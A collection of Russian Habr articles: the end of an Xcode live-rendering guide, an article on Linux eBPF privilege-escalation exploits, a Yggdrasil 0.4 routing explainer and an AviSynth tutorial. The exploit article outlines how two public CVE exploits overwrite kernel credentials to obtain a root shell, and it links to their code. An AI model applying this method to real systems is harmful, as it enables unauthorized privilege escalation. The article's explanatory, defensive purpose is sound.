* float/double/CGFloat (Float/Double/CGFloat в Swift)
* NSString (Strnig в Swift)
* BOOL (Bool в Swift)
* CGPoint
* CGSize
* CGRect
* UIColor
* UIImage
Типы NSNumber, UIEdgeInsets, NSRange, а также типы-перечисления (пока?) не поддерживаются. Runtime Attributes поддерживают NSRange, некоторые системные компоненты позволяют редактировать UIEdgeInsets- и enum-свойства, поэтому есть надежда на их поддержку в будущем. NSNumber также можно задать через Runtime Attributes (см. [скриншот](#img-runtime-attributes) выше, свойство price задано именно так).
Проблемы
========
В идеальном мире описанных действий быть достаточно для добавления поддержки live rendering. В реальном же мире могут возникнуть некоторые неочевидные сложности.
Доступ к application bundle
---------------------------
В ранних бета-версиях Xcode 6 для live rendering наследник UIView должен был находиться в отдельном модуле (фреймворке). Позже это ограничение убрали, однако для понимания процесса взаимодействия Xcode, iOS Simulator и вашего приложения в ходе live rendering это полезно знать.
Суть такова: Xcode собирает ваше приложение с указанием специальных дефайнов, симулятор загружает приложение как динамическую библиотеку и инстанциирует ваш наследник UIView, чтобы его отрендерить, и передает результаты обратно в Xcode через XPC.
Важно! Точка входа вашего приложения не вызывается, соответственно не создается и application delegate. Так что если там у вас расположен какой-то важный код (например, настройка UIAppearance), имейте это в виду.
В части «загружает приложение как динамическую библиотеку» и кроется дьявол: бандл вашего приложения более не является главным бандлом, и вызов +[NSBundle mainBundle] вернёт не его, а что-то вроде:
```
po [NSBundle mainBundle]
NSBundle (loaded)
```
А теперь представьте, в скольких местах +mainBundle используется неявно? Да в любом месте, где в качестве аргумента bundle можно указать nil.
Решение такое: делаем глобальную функцию XXXApplicationBundle (или категорию NSBundle с методом), где используем +[NSBundle bundleForClass:<какой-нибудь класс, который гарантированно в вашем бандле>], и используем ее вместо +mainBundle или nil.
Но этой проблеме подвержен не только ваш код, но и код используемых библиотек. Например, libPhoneNumber-iOS обращается к своим ресурсам именно через +mainBundle. Упс, никакого live rendering для нашего наследника UILabel, форматирующего телефонные номера.
Нет, не тяните руки к Objective-C runtime, не надо swizzle'ить +mainBundle, неизвестно, что при этом поломается. Да и CoreFoundation API для доступа к бандлам нам не подменить при всём желании.
Особенности жизненного цикла view при live rendering
----------------------------------------------------
Наивный iOS-разработчик может подумать, что создаваться view должен с помощью -initWithCoder:, он же в xib! Но не всё так просто, Apple решили не связываться с частичным инстанциированием nib (там помимо вашего view еще много всего может быть), и инстанс создается через -initWithFrame:. Для view, которые свёрстаны в xib, -initWithFrame: часто не реализуется, или реализуется и состоит из какого-нибудь assert, чтоб уронить программу и напомнить незадачливому пользователю, что view предназначен исключительно для загрузки из xib. На самом же деле ничего не мешает нам реализовать -initWithFrame: в таких случаях «как надо», и просто грузить view из xib и возвращать:
```
- (instancetype)initWithFrame:(CGRect)frame
{
self = [self.class xxx_viewFromNib];
self.frame = frame;
return self;
}
```
Думаю, категория для загрузки view из xib есть у многих, поэтому в подробности реализации +xxx\_viewFromNib вдаваться не буду (не забываем указывать правильный bundle). Должен заметить, что в Swift такой трюк не пройдёт (так как там initializers похожи на конструкторы в Java или C++, то есть не могут подменить инициализируемый объект другим).
После инстанциирования у view будет вызван метод -prepareForIntefaceBuilder (если таковой реализован). В нём можно задать значения свойств, чтоб по умолчанию ваш компонент выглядел осмысленно. Загружая картинки и другие ресурсы в этом методе не забывайте про правильный bundle.
Yo dawg, we heard u like live rendering
---------------------------------------
Если ваш view создается из xib и помечен как IB\_DESIGNABLE, он будет рендериться даже при редактировании его собственного xib. Вот такая вот рекурсия. Даже не знаю, баг ли это.
Диагностика проблем
-------------------
Иногда live rendering просто не будет работать, выдавая сообщение о том, что «ibtool crashed» без особых подробностей. Столкнулся с подобным, отлаживая упомянутую проблему с загрузкой ресурсов из неправильного бандла: код регистрации шрифта просто падал, роняя вместе с собой симулятор. Но узнал я это только изучив логи в Console.app, и обнаружив крэшлог симулятора с вменяемым стектрейсом.
**stacktrace**
```
Application Specific Information:
*** CFRelease() called with NULL ***
Thread 0 Crashed:
0 com.apple.CoreFoundation 0x0000000112f0ef6f CFRelease + 1183
1 com.company.XXXCoreTestHost 0x000000021e206dd7 LoadFonts + 455 (XXXCore.m:38)
2 dyld_sim 0x000000010f8a9867 ImageLoaderMachO::doModInitFunctions(ImageLoader::LinkContext const&) + 265
3 dyld_sim 0x000000010f8a99f4 ImageLoaderMachO::doInitialization(ImageLoader::LinkContext const&) + 40
4 dyld_sim 0x000000010f8a65a5 ImageLoader::recursiveInitialization(ImageLoader::LinkContext const&, unsigned int, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 305
5 dyld_sim 0x000000010f8a642c ImageLoader::processInitializers(ImageLoader::LinkContext const&, unsigned int, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 138
6 dyld_sim 0x000000010f8a669d ImageLoader::runInitializers(ImageLoader::LinkContext const&, ImageLoader::InitializerTimingList&) + 75
7 dyld_sim 0x000000010f89e352 dyld::runInitializers(ImageLoader*) + 89
8 dyld_sim 0x000000010f8a2be7 dlopen + 951
9 libdyld.dylib 0x000000011666d3df dlopen + 59
10 com.apple.dt.IBFoundation 0x00000001115419a3 -[IBAbstractInterfaceBuilderTool _resultByLoadingUnloadedBundleInstance:] + 154
11 com.apple.dt.IBFoundation 0x0000000111541f6e -[IBAbstractInterfaceBuilderTool loadBuiltLiveViewBundleInstances:] + 607
12 com.apple.dt.IBFoundation 0x0000000111540e42 __80-[IBMessageReceiveChannel deliverMessage:toTarget:withArguments:context:result:]_block_invoke + 278
13 com.apple.dt.IBFoundation 0x0000000111540c66 -[IBMessageReceiveChannel deliverMessage:toTarget:withArguments:context:result:] + 441
14 com.apple.dt.IBFoundation 0x0000000111540930 __88-[IBMessageReceiveChannel runBlockingReceiveLoopNotifyingQueue:notifyingTarget:context:]_block_invoke + 97
15 libdispatch.dylib 0x000000011663daf4 _dispatch_client_callout + 8
16 libdispatch.dylib 0x000000011662aeb2 _dispatch_barrier_sync_f_slow_invoke + 51
17 libdispatch.dylib 0x000000011663daf4 _dispatch_client_callout + 8
18 libdispatch.dylib 0x00000001166292e9 _dispatch_main_queue_callback_4CF + 490
19 com.apple.CoreFoundation 0x0000000112f9f569 __CFRUNLOOP_IS_SERVICING_THE_MAIN_DISPATCH_QUEUE__ + 9
20 com.apple.CoreFoundation 0x0000000112f6246b __CFRunLoopRun + 2043
21 com.apple.CoreFoundation 0x0000000112f61a06 CFRunLoopRunSpecific + 470
22 com.apple.Foundation 0x00000001118dd862 -[NSRunLoop(NSRunLoop) runMode:beforeDate:] + 275
23 com.apple.dt.IBFoundation 0x0000000111520745 -[IBAbstractPlatformTool startServingReceiveChannel:] + 322
24 com.apple.dt.IBFoundation 0x000000011152081f -[IBAbstractPlatformTool startServingSocket:] + 106
25 com.apple.dt.IBFoundation 0x0000000111520ae2 +[IBAbstractPlatformTool main] + 220
26 IBDesignablesAgentCocoaTouch 0x000000010f7eafe0 main + 34
27 libdyld.dylib 0x000000011666e145 start + 1
```
Поэтому в любой непонятной ситуации следуйте в Console.app и ищите крэшлог.
Конец
=====
Несмотря на описанные подводные камни, считаю live rendering отличным способом ускорения прототипирования, разработки и отладки кастомных view. Особенно круто, что при live rendering учитываются layout constraints и intrinsic content size вашего view, поэтому autolayout работает по-честному, без констрейнтов-заглушек.
Бонус: редактирование свойств через Assistant Editor работает и для невизуальных объектов (то есть произвольных объектов, добавленных в xib или storyboard), просто используйте IBInspectable без IB\_DESIGNABLE: [www.merowing.info/2014/06/behaviours-and-xcode-6](http://www.merowing.info/2014/06/behaviours-and-xcode-6).
Надеюсь, что мой опыт будет кому-то полезен и сэкономит некоторое количество времени при реализации live rendering для ваших view.
Полезные ссылки:
1. [Creating a Custom View That Renders in Interface Builder](https://developer.apple.com/library/ios/recipes/xcode_help-IB_objects_media/chapters/CreatingaLiveViewofaCustomObject.html)
2. [WWDC 2014 Session 411 – What's New in Interface Builder](https://developer.apple.com/videos/wwdc/2014/?include=411#411)
3. [Небольшой туториал с жизненным циклом UIView](https://github.com/yume190/CustomView/blob/master/LiveRender.md) | https://habr.com/ru/post/239257/ | null | ru | null |
# Linux exploits
> ***Привет, хабровчане. В преддверии старта курса*** [***«Administrator Linux. Professional»***](https://otus.pw/Kc86/) ***наш эксперт - Александр Колесников подготовил интересную статью, которой мы с радостью делимся с вами.
>
> Также приглашаем будущих студентов и всех желающих посетить открытый урок по теме*** [***«Методы и возможности отладки скриптов оболочки Bash».***](https://otus.pw/cmBt/)
>
>
---
Операционная система Linux доказала миру всю силу Open Source проектов — благодаря ей у нас сегодня есть возможность заглянуть в исходный код рабочей ОС и на его основе собрать свою собственную систему для решения тех или иных задач. По причине своей открытости Linux должна была стать самой безопасной операционной системой в мире, так как открытый исходный код позволяет развивать и улучшать подсистемы защиты от атак на ОС и совершенствовать саму операционную систему. Действительно, на данный момент существует большое количество созданных комьюнити защит: сегодня уже не так просто проэксплуатировать уязвимости типа переполнения буфера для получения повышенных привилегий так же, как 20 лет назад. Тем не менее, сегодня можно в открытом доступе встретить эксплойты, которые даже на последних версиях ядра могут повысить привилегии пользователя. Рассмотрим в этой статье, как это работает и почему так получается. Мы пройдемся по основным составляющим эксплойтов и рассмотрим, как работают некоторые из них.
*Вся предоставленная информация была собрана исключительно в ознакомительных целях.*
### Типы эксплойтов
Выберем общий термин, которым будем обозначать, что есть **эксплойт** — алгоритм, который нарушает нормальное функционирование операционной системы, а именно — механизмы разграничения доступа. Также введем понятие **уязвимости** — это несовершенство программного обеспечения, которое может быть использовано алгоритмом эксплойта. Без уязвимости существование эксплойта невозможно.
Введем классификацию эксплойтов. Базовое разделение эксплойтов на подгруппы для любой операционной системы начинается на уровне архитектуры. Сегодня операционные системы включают в себя как минимум 2 уровня привилегий, которые используют для своей работы. Ниже приведен рисунок, который наглядно показывает разделение привилегий. Картинка взята [отсюда](https://cumulusnetworks.com/blog/linux-architecture/).
Картинка очень наглядно показывает, что в операционной системе присутствует уровень Ядра (Kernel Space), обычно это самый привилегированный режим, именно здесь находится то, что мы называем операционной системой. И второй уровень — Пользовательский (User Space): здесь запускаются обычные приложения и сервисы, которые мы используем каждый день.
Исторически сложилось, что для каждого из перечисленных выше уровней могут быть найдены уязвимости, для которых может быть создан эксплойт, но эксплойты для каждого из уровней имеют свои ограничения.
На пользовательском уровне любой эксплойт, который затрагивает приложение, будет иметь ровно те привилегии, которые использовал пользователь, который запустил уязвимое приложение. Поэтому такой вид эксплойтов позволяет получить полное управление над ОС только в случае запуска приложения администратором системы. В противоположность пользовательскому уровню, **уровень ядра**, если содержит уязвимый код, может сразу дать возможность управлять операционной системой с максимальными привилегиями. Ниже сфокусируемся на исследовании этих эксплойтов.
### Эксплойты
Представим небольшую статистику по раскрытию уязвимостей для ядра операционной системы Linux дистрибутивов Debian, SUSE, Ubuntu, Arch Linux последних 4-х лет.
Данные взяты [отсюда](https://www.linuxkernelcves.com/cves). Картина не претендует на полноту, но показывает, что уязвимостей достаточно много, и даже сегодня есть из чего выбирать для построения эксплойта. Давайте попробуем описать, что из себя представляет эксплойт.
Любой эксплойт для любого уровня операционной системы сегодня состоит из частей, которые должны быть имплементированы в его коде:
1. Подготовительные операции:
*1) Выставление необходимого отображения памяти*
*2) Создание необходимых объектов в ОС*
*3) Обход механизмов защиты ОС для используемой уязвимости*
2. Вызов уязвимой части ПО.
3. Выполняет полезную нагрузку:
*1) Для открытия доступа к ОС*
*2) Для изменения конфигурации ОС*
*3) Для вывода ОС из строя*
При выполнении всех пунктов, которые указаны выше, можно написать работоспособный эксплойт. Возьмем для исследования несколько эксплойтов прошлых лет и попробуем выяснить, можно ли найти какие-то закономерности или заимствования, которые используются для нарушения разграничений доступа в операционной системе Linux. В качестве объектов исследования возьмем эксплойты, которые используют следующие уязвимости с CVE идентификаторами:
[CVE-2020-8835](https://github.com/ret2hell/CVE-2020-8835/blob/master/exploit.c)
[CVE-2020-27194](https://github.com/scannells/exploits/blob/master/CVE-2020-27194/exploit.c)
### Разбор эксплойтов
***CVE-2020-8835*** *р*аспространяется на ядро ОС Linux от версии 5.5.0. Уязвимость находится в имплементации технологии `ebpf`. Технология была разработана для того, чтобы пользователь мог создавать кастомные обработчики для фильтрации сетевого трафика. В качестве основной составляющей для выполнения фильтрации используется виртуальная машина с собственным набором команд. Код, который выполняется виртуальной машиной, живет в ядре: ошибка в этом коде приносит атакующему возможность работать с памятью с максимальными привилегиями. В случае описываемой уязвимости проблема заключалась в том, что операции обработки команд длины 32 бита недостаточно корректно обрабатывались, и виртуальная машина могла писать и читать данные в оперативной памяти ядра.
Как автор эксплойта использует данную уязвимость и какая выполняется полезная нагрузка, рассмотрим дальше.
#### Подготовительный этап
*За этот этап отвечает следующая часть кода.*
Строка 394 — создание объекта в памяти, который будет хранить данные о командах для `ebpf`. Строка 400 загружает в память код, который будет выполняться в виртуальной машине и позволит нарушить условия обработки 32 битных команд. Подготовка памяти окончена, следующие строки будут создавать объект сокета, который обеспечит вызов загруженных команд для `bpf`. После этого начнется этап вызова уязвимости.
#### Вызов уязвимого кода
Вызов уязвимого кода, а точнее — работа с командами виртуальной машины, осуществляется со строки 423 по 441. Основная задача этого кода — получить базовый адрес структуры, которая находится в памяти, в данном случае это куча (heap) процесса. Как только эти команды выполнятся, эксплойт сможет обнаружить в памяти данные, используемые операционной системой для контроля разграничения доступа. В операционной системе Linux эти данные хранятся в структуре `taskstruct`.
#### Полезная нагрузка
Полезная нагрузка данного эксплойта заключается в том, что после его выполнения можно запустить процесс с правами пользователя `root`. Для этого код эксплойта производит модификацию полей структуры ядра операционной системы Linux — `cred` это структура, которая входит в структуру `taskstruct`. Исходный код структуры `cred` можно найти [здесь](https://github.com/torvalds/linux/blob/fcadab740480e0e0e9fa9bd272acd409884d431a/kernel/cred.c).
Действия по модификации полей `struct cred` можно увидеть на строках `472,473,474`. То есть этим действием обнуляется значение `uid, gid, sgid` создаваемого процесса. С точки зрения ОС это установка значений идентификаторов, которые обычно использует `root`. Метод очень похож на тот, который применяется для атак на операционную систему Windows.
Обезопасить себя без обновления ОС можно, если внести следующие изменения в конфиг: `sudo sysctl kernel.unprivileged_bpf_disabled=1`
**CVE-2020-27194** — снова уязвимость в `ebpf`. Существует для ядра версий 5.8.\*. Создатели этой технологии шутят, что `bpf` — это JavaScript для ядра. На самом деле это суждение не далеко от истины. Виртуальная машина действительно проводит манипуляции над командами с помощью технологии JIT, что само собой несет все типичные уязвимости браузеров в ядро операционной системы, то есть сложно настроить подсистемы защиты для того чтобы обезопасить выполнение кода. Рассматриваемая уязвимость заключается в том, что из кода виртуальной машины можно провести модификацию любой области оперативной памяти. Возможно это из-за того, что виртуальная машина небезопасно работает с операциями 64 битной длины. Полностью аналогичная уязвимость той, которую мы рассматривали выше.
Эксплойт, который создан для того, чтобы использовать описанную уязвимость, выполняет те же операции, что и эксплойт CVE-2020-8835. Алгоритм эксплойта следующий:
1. Загрузить код с обработкой 64 битных операций в память
2. Создать сокет и отправить данные для вызова команд `ebpf`
1. Найти в памяти адрес структуры `taskstruct` за счет выполнения команд в виртуальной машине
3. Модифицировать значения `uid,gid,sgid` и запустить интерактивную оболочку.
Автор писал исходный код с новыми фишками и дополнительными функциями. Предлагаем читателю самостоятельно взглянуть на код. Перечисленные этапы работы эксплойта выше не дадут запутаться.
Защита от этой уязвимости без использования обновления такая же: `sudo sysctl kernel.unprivileged_bpf_disabled=1`
#### Что в итоге?
На основании двух эксплойтов, который были рассмотрены в статье, можно предположить, что повышение привилегий в современной ОС Linux — это больше не темная магия программирования, а вполне отлаженный шаблонный процесс, который включает в себя переиспользование функций и объектов в оперативной памяти. При этом даже не нужно писать базонезависимый (shellcode) код, который будет выполнять большую часть действий. Достаточно просто изменить идентификаторы, которые используются для назначения привилегий для пользователей.
---
> [**Узнать подробнее о курсе**](https://otus.pw/Kc86/) **«Administrator Linux. Professional».**
>
> [**Зарегистрироваться на открытый урок**](https://otus.pw/cmBt/) **«Методы и возможности отладки скриптов оболочки Bash».**
>
>
### Читать ещё:
* [Linux Experiments LAB](https://habr.com/ru/company/otus/blog/534244/)
* [Как снова доверять операционной системе. Поиск следов компрометации. Анализ ВПО](https://habr.com/ru/company/otus/blog/534788/)
* [Обход ограничений терминала](https://habr.com/ru/company/otus/blog/536756/) | https://habr.com/ru/post/537192/ | null | ru | null |
# Yggdrasil Network 0.4 — Скачок в развитии защищенной самоорганизующейся сети
Продолжение статьи "[Yggdrasil Network: Заря бытовых меш-сетей, или Интернет будущего](https://habr.com/ru/post/547250/)".
Если вы знакомы с сетью, либо читали предыдущую статью, должно быть знаете о феномене «сетевых штормов», которые всплыли при расширении Yggdrasil и явились основным слабым местом протокола. Сетевой шторм, как это явление прозвали энтузиасты, – недочет в логике маршрутизации, над решением которого команда разработчиков трудилась много месяцев.
Далее вы увидите как борьба с одним багом вылилась в фундаментальную переделку протокола.
Релиз
-----
Релиз Yggdrasil Network 0.4.0 [состоялся](https://github.com/yggdrasil-network/yggdrasil-go/releases/tag/v0.4.0) 04.07.2021. Разработчики потратили больше года на новую реализацию, работа над которой велась отдельно от предыдущей ветки. Начиная с самого зарождения проекта и до появления первого релиза 0.4 (с февраля 2018 года по июль 2021) протокол обновлялся мягко - полная совместимость с предыдущими версиями. Мягкое обновление означает, что внутренние адреса IPv6 оставались неизменны (не нужно менять никакие серверные и клиентские конфиги в прикладных программах), а также нет критической зависимости от актуальности ПО других участников сети - сам обновился и ладно.
Заменив клиент сети Yggdrasil 0.3 на новый 0.4, неискушенный пользователь может не заметить разницы: тот же виртуальный сетевой адаптер и адрес IPv6 из диапазона `200::/7`; Yggdrasil по прежнему автоматически организует подключение только в пределах локальной сети, а для связи с глобальным сегментом необходимо прописать в конфигурационном файле одного или нескольких локальных узлов адрес [публичного пира](https://github.com/yggdrasil-network/public-peers). Однако под капотом произошли большие перемены, самое желанное из которых - значительный прирост стабильности соединений, а тяжелое - потеря обратной совместимости с предыдущей версией сети.
Разработчики имели целью решение выявленных проблем, а также упрощение и оптимизацию кодовой базы - рефакторинг. Это логичный шаг на пути к интуитивно понятному ПО, код которого наименьшим образом подвержен нелогичным нагромождениям и трудно отлавливаемым багам. В итоге были убраны опции встроенного файрволла и туннелирования трафика, так как для этих нужд существует отдельное специализированное программное обеспечение.
Чтобы понять роковое решение разработчиков о новом релизе, который несовместим с предыдущей сетью, необходимо понять решение каких проблем легло на их плечи, в чем причина этих недочетов и как они были исправлены. В конечном счете переход на новую версию сети - единовременная операция, а качественно новый уровень работы с сетью быстро изгладит неприятный осадок. Переделка протокола происходила кропотливо, было проведено много практических опытов и теоретических изысканий, поэтому можно полагать, что в ближайшие годы новых несовместимых релизов не будет, если это вообще когда-то случится.
Сетевой шторм - недочет маршрутизации
-------------------------------------
В предыдущей статье достаточно подробно рассматривалась маршрутизация Yggdrasil 0.3. Логику можно резюмировать так: IPv6 в Yggdrasil генерируется случайным образом и не имеет потенциала для логической маршрутизации. Алгоритм нахождения узлов друг другом и маршрутизацию между ними через десятки промежуточных узлов обеспечивают графы DHT, которые для удобства называются координатами.
Фрагмент иллюстрации из предыдущей статьиПрирода появления сетевого шторма кроется в логике построения маршрутов между узлами, которая напрямую завязана на координатах. За точку отсчета координат берется узел с неким характерным публичным ключом. При передачи трафика в сети 0.3, узлы опирались на динамическую информацию о своих координатах и координатах соседей. Если из сети пропадал корневой узел, являющийся началом отсчета координат, сеть начинала перестраиваться. Во время выбора нового корня каждый узел сети лавинообразно менял свои координаты. В силу хаотичности координат было невозможно построить стабильный маршрут, поэтому связность сети на время перестройки резко падала. При нормальном сценарии подобный шторм длился несколько секунд, после чего все узлы приходили к консенсусу о центре, однако иногда штормы длились часами. Выбор корня в Yggdrasil 0.3 описан в предыдущей [статье](https://habr.com/ru/post/547250/#root).
Критичность проблемы сетевых штормов особенно сильно и отчасти комично проявлялась при использовании Yggdrasil Network в локальной сети. Частный случай случай выглядит так: два компьютера стоят в метре друг от друга, между ними проложен ethernet-кабель; локальный сегмент Yggdrasil из двух участников подключен к глобальному сегменту через подключение одного из компьютеров к публичному пиру. Во время шторма физические соседи переставали видеть друг друга из-за постоянной смены координат и адекватное сообщение в локальной сети прекращалось. Стабильность налаживалась только тогда, когда все узлы сети Yggdrasil, включая два локальных компьютера, имели устойчивые координаты.
Новый подход
------------
В Yggdrasil 0.4 маршрутизация абсолютно переработана - реализована с нуля. Логика работы в дереве, знакомая с предыдущей версии сети, теперь имеет два дополнительных понятия: маршрутизация по пространству ключей (keyspace) и маршрутизация от источника (source routing или "ленивая маршрутизация").
По большей части в современной реализации меш-сети используется ленивая маршрутизация, которая не зависит от каких-либо координат - лишь бы фактический путь следования трафика не был нарушен. За этим следит каждый из промежуточных узлов и в случае обрыва соединения на своем участке явно оповещает соседей для мобильного решения ситуации. Проще говоря: адресат и путь до него находится по внутрисетевым координатам, а в рамках сессии трафик идет по статичному оптимальному маршруту, основанному на реальной топологии (а не логической по DHT).
Вычисление точки отсчета координат также как и в Yggdrasil 0.3 завязано на ключ подписи, но алгоритм сильно упрощен. Публичный ключ - это 32 байта информации, которые можно представить в любом виде: в бинарном, шестнадцатеричном, кодировке base32 или base64, но в конечном счете любое значение является неким числом. Началом пространства координат сети Yggdrasil считается узел, чей ключ является наименьшим в математическом смысле.
Концептуально новым явлением относительно более ранних версий является маршрутизация в пространстве ключей, которая изменила прежнее представление о координатах. Новая DHT (распределенная хеш-таблица) использует тот факт, что узлы идентифицируются просто публичными ключами Ed25519, и тем, что корнем дерева является узел с минимальным ключом. Каждый узел знает путь до корня и то, что корень лежит на одном из концов пространства ключей. Таким образом, новая DHT является просто прямой из ключей, отсортированной от минимального к максимальному ключу, начиная с корня дерева.
Каждый узел обязан построить маршрут от себя к предыдущему узлу на этой прямой (к узлу с более низким ключом, расположенным по DHT ближе к корню). Предшественник использует этот путь для направления трафика вниз по DHT, то есть в сторону возрастания ключей. Все промежуточные узлы сохраняют запись в таблице маршрутизации для этого пути. Таким образом, если узел Б устанавливает маршрут к узлу А, то каждый узел на пути от А до Б тоже имеет запись в таблице маршрутизации о пути, которым пойдёт трафик в сторону Б. Если трафик по этому пути не дойдёт (получит таймаут), то узлы на любом конце этого оборванного пути шлют явное уведомление том, что путь прерван, что позволяет DHT быстро реагировать на обрывы путей и изменения топологии.
Пакеты перенаправляются в сторону максимального ключа, который не выше узла назначения. Эти решения маршрутизации принимаются не только на концах пути, а любой нодой по пути следования пакета: если А является предком узла Б (имеет более низкий ключ), А не обязан маршрутизировать трафик до Б. Трафик, проходящий через какой-нибудь узел между А и Б пойдёт к Б, не попадая к А. Корень дерева, как и все другие пиры-предки, служат лишь дополнительными каналами DHT, о которых узлы знают "просто так", так как они узнали об этом при начальном построении дерева.
Чтобы узнать о своих соседях по ключам, узлы без предков периодически шлют бутстрап-пакет. Этот бутстрап-пакет перемещается по DHT пока не достигнет максимального предка. Этот пакет содержит метку расстояния от корня дерева до отправителя, которая используется предком для отправки подтверждающего пакета. Подтверждающий пакет содержит содержит метку расстояния от корня до предка, которая используется отправителем для нахождения пути по DHT.
Вместо поиска путей к узлам, узлы просто направляют трафик по направлению к ключам узлов через DHT. Во время установки сессии узлы устанавливают исходный маршрут и прозрачно переключаются на него в фоне.
Пути через пространство ключей DHT обычно имеют большую протяженность, нежели пути через связи древовидного пространства (treespace). Дерево является понятием, соответствующим физической топологии (связи узлов). Смешение двух подходов (начальной маршрутизации по DHT и оптимальной передачи информации по реальной топологии) является фактором стабильности. В случае устойчивой сети трафик передается по дереву (ленивая маршрутизация), как это было в более ранних версиях Yggdrasil, при этом нет зависимости от изменений сети на участках, которые не входят в конкретный маршрут, так как при стабильном канале нет зависимости от DHT-координат. В обратном случае, когда устойчивый канал связи нарушается, происходит быстрое реагирование и поиск возможного пути по DHT, который постоянно поддерживается в актуальном состоянии.
IPv6
----
Сеть работает таким образом, чтобы обратиться к любому узлу можно было лишь по его известному IPv6-адресу из диапазона `200::/7`. В силу основательного изменения протокола сети, теперь вся маршрутизация основана на простой таблице DHT, единственно состоящей из публичных ключей подписи. В Yggdrasil 0.3 и более ранних версиях адрес IPv6 [выводился](https://habr.com/ru/post/546034/) из ключа шифрования, а теперь этот ключ как отдельное значение вовсе отсутствует и выводится математическим путем из ключа подписи.
Yggdrasil 0.4 использует следующий алгоритм образования IPv6-адреса из публичного ключа подписи: 1) первый байт "0x02" является константой, 2) ключ подписи побитово инвертируется, 3) количество лидирующих ненулевых битов составляет второй байт адреса, 4) первый ноль усекается, 5) последующие 14 байт ключа образуют тело адреса.
Итог
----
[Замеры](https://yggdrasil-network.github.io/2021/06/26/v0-4-prerelease-benchmarks.html) производительности переделанного протокола Yggdrasil внушают большие надежды на стабильность. В свою очередь стабильность - важнейший показатель популяризации сети.
Ознакомиться с Yggdrasil 0.4 более детально можно в официальном англоязычном [блоге](https://yggdrasil-network.github.io/2021/06/19/preparing-for-v0-4.html), а также на [странице](https://github.com/yggdrasil-network/yggdrasil-go/releases/tag/v0.4.0) релиза. Установка на Windows описана в [этой](https://habr.com/ru/post/567012/) статье. | https://habr.com/ru/post/566072/ | null | ru | null |
# Знакомство с AviSynth
В этой статье будет рассказано о том, что такое AviSynth и его применение в походных условиях, не без помощи VirtualDub, конечно.
AviSynth это нелинейный видео-редактор, контролируемый скриптовым языком или, перефразируя, скриптовый язык для обработки видео. AviSynth выступает в качестве промежуточного звена между приложением и физическим файлом, позволяя «на лету» выполнять различные преобразования. Текстовый файл (AVS скрипт), в котором содержатся различные команды, множество программ может открывать как обычный видео-файл (VirtualDub, Adobe Premiere, Windows Media Player, Media Player Classic, e t.c.). Технически, AviSynth выступает в роли VFW (Video For Windows) кодека для текстового файла. AviSynth поддерживает различные плагины, которых существует громандная куча. (кроме своих ещё и от VirtualDub). Качать [здесь](http://sourceforge.net/project/showfiles.php?group_id=57023).
#### Что это нам может дать?
1. Расширение функциональности программ для обработки и воспроизведения видео. Например, добавление поддержки ранее не поддерживаемых видео (и аудио, кстати) форматов. Применение различных эффектов и фильтров;
2. Автоматизация процесса обработки видео. AviSynth скрипты, при помощи какого-нибудь другого скриптового языка, можно генерировать на лету;
3. Упрощение и ускорение небольших операций по обработке видео. Вместо ползаний по графическим меню, зачастую, бывает удобнее и быстрее вбить пару-тройку небольших команд в текстовый файл. Помимо этого, в дальнейшем, этот текстовый файл можно использовать для других источников, просто заменив имя исходного файла. Можно создать коллекцию шаблонов на часто выполняемые операции.
#### Что такое VirtualDub?
В этой статье я не буду подробно останавливаться на этом замечательном редакторе, просто отмечу, что это своего рода перочинный ножик для обработки видео. Что-то отрезать, поменять дорожку, посмотреть небольшую статистику и т.п. в этой программе можно сделать очень быстро. Единственно, что обидно, это то, что в стандартной поставке программа не понимает новые типы контейнеров, но это исправляется различными форками. Качать [здесь](http://virtualdub.sourceforge.net/).
#### Пример 1. Пережатие видео для слабых компьютеров.
Практически всё новое видео сейчас выходит в HD, но существует много пользователей, мощности компьютеров которых не позволяют насладиться просмотром. Программным решением данной ситуации будет сжать видео с меньшим разрешением. Для этого существует целый спектр программ, но в большинстве своём, они либо неудобны, перегружены ненужным функционалом, либо удобны, но не поддерживают желаемые форматы файлов, либо стоят денег. При помощи AviSynth и VirtualDub мы научимся обрабатывать любой тип файла, для которого установлен DirectShow кодек (проще говоря, который в состоянии воспроизвести ваш Windows Media Player).
В качестве объекта для экспериментов возьмём Ghost in the Shell, уменьшим его размер и сделаем хардсаб (внедрим субтитры в видеоряд).
Кадр из исходного видео:
[](http://i39.tinypic.com/10f288k.jpg)
Укажем AviSynth, что нам требуется открыть файл при помощи DirectShow фильтра. При помощи этих же фильтров их открывает WMP. Откройте блокнот и напишите:
`DirectShowSource("путь_к_файлу")`
У меня получилось:
`DirectShowSource("e:\Ghost In The Shell Movie 1.mkv")`
Сохраните файл с расширением avs и попробуйте открыть в VirtualDub. Хотя он в стандартной поставке не поддерживает mkv – файл откроется. VirtualDub определит содержимое как несжатое видео. Хорошо, закройте VirtualDub, откройте скрипт и допишите следующую строку:
`Lanczos4Resize(новая_ширина, новая_высота)`
Этой командой AviSynth поменяет размер исходного видео. Существует несколько различных способов изменить размер, одни быстрее, другие медленнее. Вы можете ознакомиться с ними в документации (есть и на русском, кстати).
В итоге у меня получился скрипт:
`DirectShowSource("e:\Ghost In The Shell Movie 1.mkv")
Lanczos4Resize(800,430)`
Сохраните его и откройте в VirtualDub. Вы увидите, что картинка поменяла размер, у меня она стала вот такой:
[](http://i41.tinypic.com/5aj8li.jpg)
Осталось сделать хардсаб. Для этого воспользуемся командой:
`TextSub(“путь_к_субтитрам”)`
В результате у меня получился скрипт:
`DirectShowSource("e:\Ghost In The Shell Movie 1.mkv")
Lanczos4Resize(800,430)
TextSub("e:\Ghost In The Shell Movie 1.SRT")`
и вот такая вот картинка:
[](http://i39.tinypic.com/1ig2mt.jpg)
Всё, можно сжимать, например XviD с небольшим битрейтом и смотреть. Однако, полученный файл не стоит распространять, мы же делали его исключительно для личного просмотра. :)
#### Пример 2.
Следующая задача, которая встречается довольно часто, склеивание видео файлов, которые имеют разный битрейт, разное разрешение, разные форматы и даже, возможно, разную частоту кадров. При помощи AviSynth это делается настолько легко, что даже немного обидно.
Итак, у нас есть следующие пациенты:
1. Ghost in the Shell – H264, 1280x688, 23.98fps, MKV
[](http://i39.tinypic.com/10f288k.jpg)
2. Teenage Mutant Ninja Turtles – XVID, 512x384, 23.98fps, AVI
[](http://i43.tinypic.com/wak5m1.jpg)
3. От Винта — DivX 5, 720x528, 25.00fps, AVI
[](http://i43.tinypic.com/2cn76za.jpg)
В реальной жизни такой зоопарк соединять не приходится, но я хочу подчеркнуть возможности AviSynth.
Откроем блокнот и запишем следующее:
